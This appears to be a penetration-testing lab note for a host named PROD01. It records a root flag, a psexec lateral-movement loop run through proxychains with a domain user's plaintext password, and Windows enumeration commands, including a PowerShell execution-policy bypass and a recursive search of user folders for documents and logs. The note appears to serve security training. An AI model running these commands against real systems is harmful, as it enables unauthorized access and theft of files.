172.16.174.13 (PROD01)

Flags Obtained

Root:
    ef17c65cd722b04f25e0144c819bf693

Access method

for i in $(seq 13 14); do proxychains impacket-psexec medtech.com/leon:rabbit:\)@172.16.226.$i; done
    proxychains impacket-psexec medtech.com/leon:rabbit:\)@172.16.226.13

Enumeration

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Domain" /C:"Network Card"

whoami
whoami /groups
whoami /priv

powershell -ep bypass
Get-ChildItem -Path C:\Users -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*ini,*.log,*.ps1 -File -Recurse -ErrorAction SilentlyContinue

type C:\Users\Administrator\Desktop\proof.txt

Admin Enumeration